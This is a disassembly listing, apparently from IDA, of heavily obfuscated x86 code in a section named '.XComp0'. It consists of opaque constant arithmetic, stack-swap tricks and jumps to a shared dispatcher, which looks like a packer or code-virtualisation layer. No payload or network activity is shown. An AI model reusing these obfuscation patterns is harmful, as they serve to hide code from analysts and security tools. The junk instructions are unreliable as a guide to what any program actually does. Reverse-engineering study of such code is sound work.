		mov	esi, 7A49200Bh
		shl	esi, 4
		inc	esi
		inc	esi
		jmp	loc_581313
; ---------------------------------------------------------------------------


loc_57FBD6:				; CODE XREF: .XComp0:00576CFAj
		mov	[edi+20h], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		add	dword ptr [edi+20h], 0FFFFFFFFh
		shr	dword ptr [edi+20h], 5
		shr	dword ptr [edi+20h], 5
		dec	dword ptr [edi+20h]
		not	dword ptr [edi+20h]
		jmp	loc_576286
; ---------------------------------------------------------------------------


loc_57FBFD:				; CODE XREF: .XComp0:0057B9D2j
		mov	esi, 5675596Ah
		add	esi, 155A2AC7h
		jmp	loc_575481
; ---------------------------------------------------------------------------


loc_57FC0D:				; CODE XREF: .XComp0:0057D6EEj
		shl	ebx, 2
		not	ebx
		neg	ebx
		jmp	loc_577E16
; ---------------------------------------------------------------------------


loc_57FC19:				; CODE XREF: .XComp0:0057782Aj
		push	edi
		mov	edi, 783510A7h
		sub	esi, edi
		pop	edi
		and	esi, 70375E23h
		sub	esi, 703709FFh
		push	ebx
		mov	ebx, esi
		mov	ecx, ebx
		pop	ebx
		pop	esi
		jmp	loc_57D367
; ---------------------------------------------------------------------------


loc_57FC3A:				; CODE XREF: .XComp0:0057A7F6j
		push	edi
		mov	edi, 0FE5328Ah
		add	eax, 7465368h
		add	eax, edi
		jmp	loc_576D50
; ---------------------------------------------------------------------------


loc_57FC4C:				; CODE XREF: .XComp0:00577CB2j
		push	eax
		mov	ah, 0F7h
		dec	ah
		shl	ah, 5
		shr	ah, 8
		add	ah, 89h
		sub	dl, ah
		jmp	loc_57FF68
; ---------------------------------------------------------------------------


loc_57FC61:				; CODE XREF: .XComp0:00577640j
		push	eax
		jmp	loc_5829D0
; ---------------------------------------------------------------------------


loc_57FC67:				; CODE XREF: .XComp0:0057A6F6j
		xor	eax, 747E0DA9h
		sub	edi, 34D17C60h
		sub	edi, eax
		add	edi, 34D17C60h
		jmp	loc_582970
; ---------------------------------------------------------------------------


loc_57FC7F:				; CODE XREF: .XComp0:0057BFE7j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57FC93:				; CODE XREF: .XComp0:005823B4j
		add	esp, 4
		push	eax
		mov	eax, 0FE826C2h
		shl	eax, 4
		not	eax
		dec	eax
		sub	eax, 33EF372Eh
		jmp	loc_57629B
; ---------------------------------------------------------------------------


loc_57FCAF:				; CODE XREF: .XComp0:0057AE25j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 44295111h
		push	eax
		mov	eax, 0DA580735h
		jmp	loc_57B406
; ---------------------------------------------------------------------------


loc_57FCC5:				; CODE XREF: .XComp0:00575F2Dj
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_57F345
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_57D7CF
; ---------------------------------------------------------------------------


loc_57FCEB:				; CODE XREF: .XComp0:005824ABj
		push	ecx
		pop	edi
		mov	ecx, [esp]
		jmp	loc_57E407
; ---------------------------------------------------------------------------


loc_57FCF5:				; CODE XREF: .XComp0:0057F0E0j
		mov	ch, 0EDh
		jmp	loc_57F940
; ---------------------------------------------------------------------------


loc_57FCFC:				; CODE XREF: .XComp0:0057D6E6j
		add	esp, 4
		jmp	loc_57C401
; ---------------------------------------------------------------------------


loc_57FD07:				; CODE XREF: .XComp0:005811E4j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_578EFE
; ---------------------------------------------------------------------------


loc_57FD15:				; CODE XREF: .XComp0:00580CDAj
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57FD1E:				; CODE XREF: .XComp0:0057F05Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_576A7F
; ---------------------------------------------------------------------------


loc_57FD2E:				; CODE XREF: .XComp0:00577EEEj
		xchg	esi, [esp]
		jmp	loc_57FDFC
; ---------------------------------------------------------------------------


loc_57FD36:				; CODE XREF: .XComp0:00581C13j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		jmp	loc_581485
; ---------------------------------------------------------------------------


loc_57FD49:				; CODE XREF: .XComp0:0057D5F1j
		xor	edi, ebx
		pop	ebx
		sub	edi, 3DBE580Bh
		add	edi, 0F165E7C7h
		add	ebx, edi
		jmp	loc_580D5E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5761EA
; ---------------------------------------------------------------------------


loc_57FD68:				; CODE XREF: .XComp0:0057874Fj
		sub	eax, 72B55C1Ch
		sub	eax, 2DA91AA6h
		push	ebx
		mov	ebx, 71F5D08Ah
		sub	eax, ebx
		pop	ebx
		and	ecx, eax
		pop	eax
		shl	ecx, 2
		sub	ecx, 0FF209000h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57D91C
; ---------------------------------------------------------------------------


loc_57FD94:				; CODE XREF: .XComp0:00579BB4j
		add	esp, 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	edx
		push	ebx
		mov	ebx, 6E997EB0h
		add	ebx, 0F05CF88Ch
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 2E4D1041h
		add	edx, 3DF313AFh
		jmp	loc_57D463
; ---------------------------------------------------------------------------


loc_57FDC6:				; CODE XREF: .XComp0:005746AFj
		push	edi
		jmp	loc_58150C
; ---------------------------------------------------------------------------


loc_57FDCC:				; CODE XREF: .XComp0:00579DC5j
		and	cl, bh
		pop	ebx
		and	cl, 86h
		xor	cl, 0ABh
		mov	ah, cl
		pop	ecx
		dec	ah
		sub	ah, 0B9h
		push	edx
		mov	dl, 7Bh
		push	ebx
		mov	bl, 40h
		jmp	loc_57BDC9
; ---------------------------------------------------------------------------


loc_57FDE8:				; CODE XREF: .XComp0:00581B3Aj
		push	edx
		mov	edx, eax
		mov	ecx, edx
		pop	edx
		pop	eax
		not	ecx
		or	ecx, 23695D84h
		jmp	loc_57F6E7
; ---------------------------------------------------------------------------


loc_57FDFC:				; CODE XREF: .XComp0:0057FD31j
		pop	esp
		jmp	loc_583150
; ---------------------------------------------------------------------------


loc_57FE02:				; CODE XREF: .XComp0:0057D7A6j
		sub	ebp, 385FE814h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, ecx
		sub	esi, 6C5A32C1h
		pop	ecx
		push	edx
		mov	edx, esp
		push	7626h
		mov	[esp], ebx
		mov	ebx, 18A348A7h
		jmp	loc_575DD8
; ---------------------------------------------------------------------------


loc_57FE31:				; CODE XREF: .XComp0:0057D6CDj
		pop	esi
		push	eax
		jmp	loc_581041
; ---------------------------------------------------------------------------


loc_57FE38:				; CODE XREF: .XComp0:0057A608j
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	154810E8h
		jmp	loc_57C83A
; ---------------------------------------------------------------------------


loc_57FE49:				; CODE XREF: .XComp0:0057DE80j
		push	edi
		jmp	loc_57ED0B
; ---------------------------------------------------------------------------


loc_57FE4F:				; CODE XREF: .XComp0:005747A8j
		sub	eax, 5D4058B3h
		pop	ebp
		push	311h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_577509
; ---------------------------------------------------------------------------


loc_57FE6A:				; CODE XREF: .XComp0:0057D7FEj
		mov	ebp, [esp]
		add	esp, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57F162
; ---------------------------------------------------------------------------


loc_57FE97:				; CODE XREF: .XComp0:00578DCFj
		mov	eax, 5343241Fh
		shl	eax, 3
		neg	eax
		jmp	loc_580C0A
; ---------------------------------------------------------------------------


loc_57FEA6:				; CODE XREF: .XComp0:0057B588j
		mov	ecx, 57D042D7h
		not	ecx
		sub	ecx, 1
		push	ebp
		mov	ebp, 7F735064h
		add	ecx, ebp
		jmp	loc_581EA3
; ---------------------------------------------------------------------------


loc_57FEBD:				; CODE XREF: .XComp0:005818F1j
		shl	edx, 7
		not	edx
		not	edx
		push	5502h
		mov	[esp], ebx
		push	ecx
		jmp	loc_57366A
; ---------------------------------------------------------------------------


loc_57FED2:				; CODE XREF: .XComp0:0057D24Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_57E136
; ---------------------------------------------------------------------------


loc_57FEEE:				; CODE XREF: .XComp0:005817F6j
		pop	ebx
		or	edx, 147626C5h
		sub	edx, 186F07A2h
		neg	edx
		neg	edx
		add	edx, 19F820C1h
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57AFBB
; ---------------------------------------------------------------------------


loc_57FF13:				; CODE XREF: .XComp0:0057852Dj
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 4
		mov	ebx, edx
		jmp	loc_57801C
; ---------------------------------------------------------------------------


loc_57FF31:				; CODE XREF: .XComp0:00579C5Dj
		pop	ebx
		pop	ax
		xor	ch, 82h
		jmp	loc_576019
; ---------------------------------------------------------------------------


loc_57FF3C:				; CODE XREF: .XComp0:00583607j
		inc	eax
		jmp	loc_579D5A
; ---------------------------------------------------------------------------


loc_57FF42:				; CODE XREF: .XComp0:0057A7DFj
		sub	ah, 50h
		shl	ah, 3
		inc	ah
		xor	ah, 6Eh
		jmp	loc_581E90
; ---------------------------------------------------------------------------


loc_57FF52:				; CODE XREF: .XComp0:0057F14Cj
		mov	esi, 0FA868615h
		add	esi, ecx
		pop	ecx
		push	esi
		mov	esi, 617F0320h
		sub	ecx, esi
		pop	esi
		jmp	loc_577277
; ---------------------------------------------------------------------------


loc_57FF68:				; CODE XREF: .XComp0:0057FC5Cj
		pop	eax
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		jmp	loc_578A39
; ---------------------------------------------------------------------------


loc_57FF74:				; CODE XREF: .XComp0:00581A17j
		sub	ebx, 3B1044A2h
		sub	ebx, 0FB56334Dh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, eax
		pop	eax
		jmp	loc_57EE2B
; ---------------------------------------------------------------------------


loc_57FF90:				; CODE XREF: .XComp0:0057399Fj
		add	esp, 4
		jmp	loc_579F15
; ---------------------------------------------------------------------------


loc_57FF98:				; CODE XREF: .XComp0:00581E2Fj
		mov	esp, [esp]
		jmp	loc_5810BE
; ---------------------------------------------------------------------------


loc_57FFA0:				; CODE XREF: .XComp0:0058129Fj
		add	edi, 22093E13h
		and	edi, 6E2A3B50h
		jmp	loc_57580D
; ---------------------------------------------------------------------------


loc_57FFB1:				; CODE XREF: .XComp0:00580C3Fj
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	eax
		jmp	loc_577D24
; ---------------------------------------------------------------------------


loc_57FFBF:				; CODE XREF: .XComp0:00574637j
		add	edx, 37141BDFh
		sub	edx, 81665802h
		jmp	loc_577F41
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_579C24
; ---------------------------------------------------------------------------


loc_57FFDE:				; CODE XREF: .XComp0:00578427j
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		xchg	edi, [esp]
		jmp	loc_58264A
; ---------------------------------------------------------------------------


loc_57FFED:				; CODE XREF: .XComp0:00578D3Cj
		pop	edi
		xor	esi, 2FF521D2h
		xor	esi, 545B1688h
		mov	eax, esi
		pop	esi
		sub	eax, 72CFFD5Bh
		shl	eax, 7
		not	eax
		push	ecx
		mov	ecx, 1DE22671h
		jmp	loc_57C3CF
; ---------------------------------------------------------------------------


loc_580012:				; CODE XREF: .XComp0:00583205j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5793C3
; ---------------------------------------------------------------------------


loc_580029:				; CODE XREF: .XComp0:00581942j
		push	ebx
		jmp	loc_57BD88
; ---------------------------------------------------------------------------


loc_58002F:				; CODE XREF: .XComp0:0057AE72j
		pop	edi
		push	esi
		mov	esi, 0AED76892h
		xor	edx, esi
		pop	esi
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_57DF4D
; ---------------------------------------------------------------------------


loc_58004A:				; CODE XREF: .XComp0:00573778j
		mov	edi, 765B4D2Bh
		push	5282h
		mov	[esp], ebx
		mov	ebx, 600E6CF5h
		xor	edi, ebx
		pop	ebx
		xor	edi, 75551398h
		add	edi, 0FFFFFFFFh
		shr	edi, 4
		inc	edi
		sub	edi, 6300321h
		mov	esi, edi
		pop	edi
		jmp	loc_578272
; ---------------------------------------------------------------------------


loc_58007D:				; CODE XREF: .XComp0:0057D2A6j
		xchg	ecx, edx
		inc	edx
		sub	edx, 58FA5F4Ch
		add	edx, 0E8F1D01Ch
		shl	edx, 5
		jmp	loc_5790E2
; ---------------------------------------------------------------------------


loc_580094:				; CODE XREF: .XComp0:0057C85Fj
		pop	ecx
		jmp	loc_576C4C
; ---------------------------------------------------------------------------


loc_58009A:				; CODE XREF: .XComp0:00578032j
		xor	[esp], edx
		jmp	loc_5800E3
; ---------------------------------------------------------------------------


loc_5800A2:				; CODE XREF: .XComp0:0057C783j
		mov	eax, 6B4B7C75h
		push	edi
		jmp	loc_57C8A2
; ---------------------------------------------------------------------------


loc_5800AD:				; CODE XREF: .XComp0:0057D45Ej
		mov	esi, esp
		add	esi, 4
		jmp	loc_578201
; ---------------------------------------------------------------------------


loc_5800BA:				; CODE XREF: .XComp0:00581D06j
		mov	ecx, [esp]
		add	esp, 4
		push	small 0A2Ch
		jmp	loc_57484C
; ---------------------------------------------------------------------------


loc_5800CC:				; CODE XREF: .XComp0:00575C27j
		sub	ebp, 13F51B5h
		sub	ebp, 0E329D247h
		sub	esp, 4
		jmp	loc_581DE1
; ---------------------------------------------------------------------------


loc_5800E3:				; CODE XREF: .XComp0:0058009Dj
		xor	edx, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5800F0:				; CODE XREF: .XComp0:00574A52j
		push	edi
		push	edx
		push	1EF21FA6h
		pop	edx
		shr	edx, 1
		add	edx, 291349ABh
		push	ebp
		mov	ebp, 626A2E1Ch
		xor	edx, ebp
		pop	ebp
		sub	edx, 0ED5E73D3h
		jmp	loc_58292E
; ---------------------------------------------------------------------------


loc_580114:				; CODE XREF: .XComp0:0057EDF9j
		push	1AF1h
		mov	[esp], edi
		jmp	loc_57A770
; ---------------------------------------------------------------------------


loc_580121:				; CODE XREF: .XComp0:0057B7A0j
		add	ebx, 31B20A69h
		pop	ecx
		add	ebx, 2
		xor	ebx, [esp]
		jmp	loc_580568
; ---------------------------------------------------------------------------


loc_580136:				; CODE XREF: .XComp0:005742FBj
		mov	eax, 50223E9Bh
		xor	eax, 31A701Ch
		and	eax, 50DA2F85h
		and	eax, 38CC39A0h
		not	eax
		inc	eax
		jmp	loc_57982C
; ---------------------------------------------------------------------------


loc_580152:				; CODE XREF: .XComp0:00579C1Fj
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_577A9B
; ---------------------------------------------------------------------------


loc_580179:				; CODE XREF: .XComp0:00574ABBj
		add	edi, 108406B6h
		sub	edi, edx
		sub	edi, 108406B6h
		pop	edx
		add	edi, ecx
		push	567Bh
		mov	[esp], eax
		mov	eax, 39681908h
		push	ebp
		mov	ebp, 563D3451h
		xor	ebp, 513E5E37h
		add	ebp, 245B2D44h
		or	ebp, 595E6842h
		jmp	loc_577748
; ---------------------------------------------------------------------------


loc_5801B4:				; CODE XREF: .XComp0:00573A77j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_577A12
; ---------------------------------------------------------------------------


loc_5801C2:				; CODE XREF: .XComp0:005741A4j
		pop	edx
		or	eax, eax
		jz	loc_57A605
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	58C4h
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	512Dh
		mov	[esp], eax
		push	0C4C6C6Ch
		jmp	loc_573FB7
; ---------------------------------------------------------------------------


loc_5801F6:				; CODE XREF: .XComp0:0057F4A9j
		pop	edi
		push	ecx
		mov	ecx, 6DED2F9Ch
		jmp	loc_57CC1E
; ---------------------------------------------------------------------------


loc_580202:				; CODE XREF: .XComp0:0057E9C4j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_580217:				; CODE XREF: .XComp0:0057CBC5j
		pop	bx
		neg	dh
		jmp	loc_57BAB6
; ---------------------------------------------------------------------------


loc_580220:				; CODE XREF: .XComp0:00573E43j
		push	edi
		push	ebp
		mov	ebp, 15172261h
		add	ebp, 1
		jmp	loc_57B547
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_576C1A
; ---------------------------------------------------------------------------


loc_58023E:				; CODE XREF: .XComp0:005819F7j
		mov	edi, 4
		add	edx, edi
		jmp	loc_5823B1
; ---------------------------------------------------------------------------


loc_58024A:				; CODE XREF: .XComp0:005828DDj
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_582C4A
; ---------------------------------------------------------------------------


loc_580254:				; CODE XREF: .XComp0:0057BF5Bj
		mov	ax, si
		pop	esi
		inc	ax
		jmp	loc_57A404
; ---------------------------------------------------------------------------


loc_58025F:				; CODE XREF: .XComp0:00582F93j
		add	esp, 4
		sub	eax, 3B4C629Ch
		push	ecx
		mov	ecx, eax
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57CFC4
; ---------------------------------------------------------------------------


loc_580282:				; CODE XREF: .XComp0:00577FD0j
		add	esp, 4
		push	eax
		push	ebp
		mov	ebp, 2AEC2222h
		jmp	loc_579AEE
; ---------------------------------------------------------------------------


loc_580291:				; CODE XREF: .XComp0:00576ACEj
		sub	bh, cl
		add	bh, 32h
		pop	ecx
		not	bh
		push	1B01h
		mov	[esp], edx
		push	eax
		mov	ah, 0C2h
		add	ah, 47h
		mov	dh, 9Bh
		add	dh, ah
		pop	eax
		sub	bh, 81h
		add	bh, 0F7h
		jmp	loc_579E92
; ---------------------------------------------------------------------------


loc_5802B7:				; CODE XREF: .XComp0:00578C76j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 612B13F6h
		add	ecx, 0FFFFFFFFh
		sub	ecx, 1385F3CCh
		shl	ecx, 2
		not	ecx
		neg	ecx
		inc	ecx
		sub	ecx, 0CA781423h
		sub	ebx, ecx
		jmp	loc_5747AD
; ---------------------------------------------------------------------------


loc_5802E1:				; CODE XREF: .XComp0:0058364Ej
		or	edi, 46CF2080h
		add	edi, 46580FA2h
		xor	edi, 0A90E0D12h
		push	ecx
		mov	ecx, 7F9A33F0h
		add	ebp, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_574B92
; ---------------------------------------------------------------------------


loc_580303:				; CODE XREF: .XComp0:00578240j
		mov	dl, 0B4h
		jmp	loc_576BA1
; ---------------------------------------------------------------------------


loc_58030A:				; CODE XREF: .XComp0:00579F44j
		add	esp, 4
		push	1AA1h
		mov	[esp], edi
		mov	edi, 1697630Ch
		inc	edi
		shr	edi, 8
		dec	edi
		sub	edi, 16975Eh
		jmp	loc_580FC4
; ---------------------------------------------------------------------------


loc_58032A:				; CODE XREF: .XComp0:0057A0C8j
		sub	esp, 4
		mov	[esp], eax
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_57F1FE
; ---------------------------------------------------------------------------


loc_580341:				; CODE XREF: .XComp0:00575B72j
		add	ecx, edx
		push	edx
		jmp	loc_581F32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_580349:				; CODE XREF: sub_5A47B5-28023j
		xor	dh, 0B4h
		xor	cl, dh
		pop	edx
		push	151Ch
		mov	[esp+22h+var_24+2], edx
		jmp	loc_57EB64
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_58035C:				; CODE XREF: .XComp0:00573F02j
		pop	ecx
		push	edx
		mov	edx, 4BC24AEBh
		jmp	loc_580A1F
; ---------------------------------------------------------------------------


loc_580368:				; CODE XREF: .XComp0:00583378j
		pop	esi
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 543E70EBh
		jmp	loc_5827F8
; ---------------------------------------------------------------------------


loc_58037F:				; CODE XREF: .XComp0:0057B742j
		mov	ch, 0FCh
		add	ch, al
		pop	eax
		jmp	loc_57A97A
; ---------------------------------------------------------------------------


loc_580389:				; CODE XREF: .XComp0:0057579Ej
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4E8E7BA4h
		shr	ecx, 1
		push	edi
		mov	edi, 3EC0168Fh
		jmp	loc_577CEF
; ---------------------------------------------------------------------------


loc_5803A4:				; CODE XREF: .XComp0:0057D3ADj
		inc	bx
		shr	bx, 2
		jmp	loc_580F94
; ---------------------------------------------------------------------------


loc_5803AF:				; CODE XREF: .XComp0:0057C13Dj
		sub	esi, 6B9AB800h
		or	ebp, esi
		pop	esi
		not	ebp
		shr	ebp, 3
		sub	ebp, 1621651Dh
		sub	esi, 59672D4Ah
		add	esi, ebp
		add	esi, 59672D4Ah
		pop	ebp
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_5754B0
; ---------------------------------------------------------------------------


loc_5803DD:				; CODE XREF: .XComp0:0057E2C8j
		mov	cl, 0C6h
		add	cl, 0E5h
		sub	bl, cl
		pop	ecx
		jmp	loc_578547
; ---------------------------------------------------------------------------


loc_5803EA:				; CODE XREF: .XComp0:005823E3j
		mov	al, 0ABh
		or	al, 83h
		push	7B7h
		mov	[esp], ecx
		mov	ch, 94h
		push	ebx
		mov	bh, 7Ah
		xor	bh, 7Ah
		shr	bh, 7
		inc	bh
		add	bh, 94h
		sub	ch, bh
		pop	ebx
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		neg	al
		add	al, 0DBh
		jmp	loc_57A828
; ---------------------------------------------------------------------------


loc_58041A:				; CODE XREF: .XComp0:00574394j
		not	dword ptr [esp]
		jmp	loc_57B994
; ---------------------------------------------------------------------------


loc_580422:				; CODE XREF: .XComp0:00576834j
		mov	[esp], ebp
		push	esi
		mov	esi, 187F7CCEh
		mov	ebp, 6F54FB82h
		sub	ebp, esi
		pop	esi
		sub	eax, ebp
		pop	ebp
		pop	edi
		sub	eax, ebx
		add	eax, 58B676C7h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57816C
; ---------------------------------------------------------------------------


loc_58044C:				; CODE XREF: .XComp0:0057EB5Fj
		pop	esi
		push	ecx
		pop	edx
		pop	ecx
		add	edx, edi
		add	eax, [edx]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_579E22
; ---------------------------------------------------------------------------


loc_58046B:				; CODE XREF: .XComp0:00576B03j
		push	edx
		mov	edx, 0E5DFBF38h
		sub	esi, edx
		jmp	loc_579E9C
; ---------------------------------------------------------------------------


loc_580478:				; CODE XREF: .XComp0:00581CE9j
		mov	[esp], ebp
		jmp	loc_58239C
; ---------------------------------------------------------------------------


loc_580480:				; CODE XREF: .XComp0:0057D10Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57ABB4
; ---------------------------------------------------------------------------


loc_580489:				; CODE XREF: .XComp0:005781BBj
		mov	[esp], edi
		mov	edi, 2B4950BAh
		xor	edi, 19B0129Ch
		jmp	loc_57B4B2
; ---------------------------------------------------------------------------


loc_58049C:				; CODE XREF: .XComp0:00582FB2j
		pop	dword ptr [eax]
		pop	ebp
		jmp	loc_577EC7
; ---------------------------------------------------------------------------


loc_5804A4:				; CODE XREF: .XComp0:0057BF80j
		push	4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582139
; ---------------------------------------------------------------------------


loc_5804BA:				; CODE XREF: .XComp0:00580626j
		add	eax, 4C582B17h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 36086560h
		sub	[esp+4], edx
		pop	edx
		pop	dword ptr [eax]
		push	ebp
		jmp	loc_576ADE
; ---------------------------------------------------------------------------


loc_5804E5:				; CODE XREF: .XComp0:00579406j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 0DE46924h
		jmp	loc_575C24
; ---------------------------------------------------------------------------


loc_5804F8:				; CODE XREF: .XComp0:00580617j
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 23001B02h
		xor	ebx, 0FD44B471h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_57B908
; ---------------------------------------------------------------------------


loc_580517:				; CODE XREF: .XComp0:00573A54j
		shl	esi, 5
		not	esi
		jmp	loc_57AF8F
; ---------------------------------------------------------------------------


loc_580521:				; CODE XREF: .XComp0:0058316Cj
		add	esi, 4
		jmp	loc_574260
; ---------------------------------------------------------------------------


loc_58052C:				; CODE XREF: .XComp0:00583100j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57BA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_58053D:				; CODE XREF: sub_5A47B5-3102Aj
		push	497Ah
		mov	[esp+26h+var_28+2], edx
		jmp	loc_57ADE1
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_58054A:				; CODE XREF: .XComp0:00576356j
		add	ecx, esi
		jmp	loc_5821C5
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	40A7h
		mov	[esp], edi
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57BE76
; ---------------------------------------------------------------------------


loc_580568:				; CODE XREF: .XComp0:00580131j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_580578:				; CODE XREF: .XComp0:00577B7Fj
		push	3D1305C6h
		pop	ecx
		not	ecx
		jmp	loc_574CD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_580585:				; CODE XREF: sub_5A47B5-2F262j
		add	esp, 2
		xor	bl, al
		jmp	loc_57AD54
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_58058F:				; CODE XREF: .XComp0:0057CCA2j
		mov	esp, [esp]
		push	4EA9h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_581D8D
; ---------------------------------------------------------------------------


loc_5805A1:				; CODE XREF: .XComp0:0057CC50j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_583202
; ---------------------------------------------------------------------------


loc_5805B2:				; CODE XREF: .XComp0:00576F67j
		push	ebx
		mov	ebx, 221D7F9Fh
		jmp	loc_581BB1
; ---------------------------------------------------------------------------


loc_5805BD:				; CODE XREF: .XComp0:00575E55j
		mov	edx, 3E70183Dh
		jmp	loc_574782
; ---------------------------------------------------------------------------


loc_5805C7:				; CODE XREF: .XComp0:00581758j
		push	edi
		push	4C745930h
		pop	edi
		jmp	loc_57D47B
; ---------------------------------------------------------------------------


loc_5805D3:				; CODE XREF: .XComp0:0057E300j
		not	dword ptr [esp]
		pop	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_57F894
; ---------------------------------------------------------------------------


loc_5805E5:				; CODE XREF: .XComp0:0057ECCFj
		push	edx
		jmp	loc_5753ED
; ---------------------------------------------------------------------------


loc_5805EB:				; CODE XREF: .XComp0:005773D2j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_5736C0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_57EA80
; ---------------------------------------------------------------------------


loc_580602:				; CODE XREF: .XComp0:005789CFj
		shr	ebp, 4
		sub	ebp, 5D2618CBh
		or	ebp, 36EA5DE2h
		sub	ebp, 62BDB93Fh
		jmp	loc_5804F8
; ---------------------------------------------------------------------------


loc_58061C:				; CODE XREF: .XComp0:005824E6j
		mov	eax, edx
		pop	edx
		sub	eax, 4C582B17h
		add	eax, edi
		jmp	loc_5804BA
; ---------------------------------------------------------------------------
		lodsd
		push	3C1Ah
		jmp	loc_580842
; ---------------------------------------------------------------------------


loc_580636:				; CODE XREF: .XComp0:00579AD4j
		sub	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_581783
; ---------------------------------------------------------------------------


loc_580652:				; CODE XREF: .XComp0:0057EAAAj
		push	eax
		mov	al, 0D0h
		jmp	loc_574C7B
